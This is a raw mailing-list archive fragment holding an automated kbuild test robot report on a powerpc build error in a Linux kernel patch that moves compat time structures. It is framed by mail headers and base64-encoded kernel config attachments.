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
X10AAA==

--+QahgC5+KEYLbs62
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
devel mailing list
devel@linuxdriverproject.org
http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel

--+QahgC5+KEYLbs62--


From - Thu Nov 08 21:41:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v4 02/10] include: Move compat_timespec/ timeval to
 compat_time.h
Date: Tue, 13 Mar 2018 23:30:51 +0800
Lines: 269
Approved: news@gmane.org
Message-ID: <201803132351.1SZJ68nV%fengguang.wu@intel.com>
References: <20180312175307.11032-3-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="VS++wcV0S1rZb1Fb"
X-Trace: blaine.gmane.org 1520954962 1093 195.159.176.226 (13 Mar 2018 15:29:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 13 Mar 2018 15:29:22 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: mark.rutland@arm.com, linux-mips@linux-mips.org, peterz@infradead.org,
 benh@kernel.crashing.org, heiko.carstens@de.ibm.com, paulus@samba.org,
 hpa@zytor.com, sparclinux@vger.kernel.org, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, y2038@lists.linaro.org, mpe@ellerman.id.au,
 deller@gmx.de, x86@kernel.org, sebott@linux.vnet.ibm.com,
 jejb@parisc-linux.org, borntraeger@de.ibm.com, mingo@redhat.com,
 oprofile-list@lists.sf.net, catalin.marinas@arm.com,
 oberpar@linux.vnet.ibm.com, rric@kernel.org, cmetcalf@mellanox.com,
 arnd@arndb.de, will.deacon@arm.com, acme@kernel.org, jwi@linux.vnet.ibm.com,
 john.stultz@linaro.org, rostedt@goodmis.org, tglx@linutronix.de,
 gerald.schaefer@de.ibm.com, linux-parisc@vger.kernel.org,
 gregkh@linuxfoundation.org, cohuck@redhat.com, linux-kernel@vger.kernel.org,
 ralf@linux-mips.org, davem@davemloft.net, hoeppner@linux.vnet.ibm.com,
 kbuild
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Tue Mar 13 16:29:14 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp2.osuosl.org ([140.211.166.133] helo=hemlock.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1evlrW-0008VM-7G
	for glddd-devel@m.gmane.org; Tue, 13 Mar 2018 16:29:14 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id 97F2C89736;
	Tue, 13 Mar 2018 15:31:20 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 8UG+qFYKk1Tq; Tue, 13 Mar 2018 15:31:19 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id D6D658972D;
	Tue, 13 Mar 2018 15:31:19 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from hemlock.osuosl.org (smtp2.osuosl.org [140.211.166.133])
 by ash.osuosl.org (Postfix) with ESMTP id 402731C0E93
 for <devel@linuxdriverproject.org>; Tue, 13 Mar 2018 15:31:19 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by hemlock.osuosl.org (Postfix) with ESMTP id 3C9D08972D
 for <devel@linuxdriverproject.org>; Tue, 13 Mar 2018 15:31:19 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id 8ZtT1iGfvKsK for <devel@linuxdriverproject.org>;
 Tue, 13 Mar 2018 15:31:18 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mga01.intel.com (mga01.intel.com [192.55.52.88])
 by hemlock.osuosl.org (Postfix) with ESMTPS id 40D808972B
 for <devel@driverdev.osuosl.org>; Tue, 13 Mar 2018 15:31:18 +0000 (UTC)
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
 by fmsmga101.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 13 Mar 2018 08:31:17 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.47,465,1515484800"; 
 d="gz'50?scan'50,208,50";a="27718123"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
 by fmsmga002.fm.intel.com with ESMTP; 13 Mar 2018 08:31:11 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
 (envelope-from <fengguang.wu@intel.com>)
 id 1evlsL-000IDT-57; Tue, 13 Mar 2018 23:30:05 +0800
Content-Disposition: inline
In-Reply-To: <20180312175307.11032-3-deepa.kernel@gmail.com>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114372 gmane.linux.ports.mips.general:64004 gmane.linux.ports.sparc:27411 gmane.linux.kernel.year-2038:2540 gmane.linux.oprofile:13166 gmane.linux.ports.parisc:28318 gmane.linux.kernel:2712275 gmane.linux.ports.ppc64.devel:154317
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114372>


--VS++wcV0S1rZb1Fb
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Deepa,

Thank you for the patch! Yet something to improve:

[auto build test ERROR on ]

url:    https://github.com/0day-ci/linux/commits/Deepa-Dinamani/posix_clocks-Prepare-syscalls-for-64-bit-time_t-conversion/20180313-203305
base:    
config: powerpc-iss476-smp_defconfig (attached as .config)
compiler: powerpc-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=powerpc 

All errors (new ones prefixed by >>):

   arch/powerpc/oprofile/backtrace.c: In function 'user_getsp32':
>> arch/powerpc/oprofile/backtrace.c:31:19: error: implicit declaration of function 'compat_ptr'; did you mean 'complete'? [-Werror=implicit-function-declaration]
     void __user *p = compat_ptr(sp);
                      ^~~~~~~~~~
                      complete
>> arch/powerpc/oprofile/backtrace.c:31:19: error: initialization makes pointer from integer without a cast [-Werror=int-conversion]
   cc1: all warnings being treated as errors

vim +31 arch/powerpc/oprofile/backtrace.c

6c6bd754 Brian Rogan 2006-03-27  27  
6c6bd754 Brian Rogan 2006-03-27  28  static unsigned int user_getsp32(unsigned int sp, int is_first)
6c6bd754 Brian Rogan 2006-03-27  29  {
6c6bd754 Brian Rogan 2006-03-27  30  	unsigned int stack_frame[2];
62034f03 Al Viro     2006-09-23 @31  	void __user *p = compat_ptr(sp);
6c6bd754 Brian Rogan 2006-03-27  32  
62034f03 Al Viro     2006-09-23  33  	if (!access_ok(VERIFY_READ, p, sizeof(stack_frame)))
6c6bd754 Brian Rogan 2006-03-27  34  		return 0;
6c6bd754 Brian Rogan 2006-03-27  35  
6c6bd754 Brian Rogan 2006-03-27  36  	/*
6c6bd754 Brian Rogan 2006-03-27  37  	 * The most likely reason for this is that we returned -EFAULT,
6c6bd754 Brian Rogan 2006-03-27  38  	 * which means that we've done all that we can do from
6c6bd754 Brian Rogan 2006-03-27  39  	 * interrupt context.
6c6bd754 Brian Rogan 2006-03-27  40  	 */
62034f03 Al Viro     2006-09-23  41  	if (__copy_from_user_inatomic(stack_frame, p, sizeof(stack_frame)))
6c6bd754 Brian Rogan 2006-03-27  42  		return 0;
6c6bd754 Brian Rogan 2006-03-27  43  
6c6bd754 Brian Rogan 2006-03-27  44  	if (!is_first)
6c6bd754 Brian Rogan 2006-03-27  45  		oprofile_add_trace(STACK_LR32(stack_frame));
6c6bd754 Brian Rogan 2006-03-27  46  
6c6bd754 Brian Rogan 2006-03-27  47  	/*
6c6bd754 Brian Rogan 2006-03-27  48  	 * We do not enforce increasing stack addresses here because
6c6bd754 Brian Rogan 2006-03-27  49  	 * we may transition to a different stack, eg a signal handler.
6c6bd754 Brian Rogan 2006-03-27  50  	 */
6c6bd754 Brian Rogan 2006-03-27  51  	return STACK_SP(stack_frame);
6c6bd754 Brian Rogan 2006-03-27  52  }
6c6bd754 Brian Rogan 2006-03-27  53  

:::::: The code at line 31 was first introduced by commit
:::::: 62034f03380a64c0144b6721f4a2aa55d65346c1 [POWERPC] powerpc oprofile __user annotations

:::::: TO: Al Viro <viro@ftp.linux.org.uk>
:::::: CC: Paul Mackerras <paulus@samba.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--VS++wcV0S1rZb1Fb
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
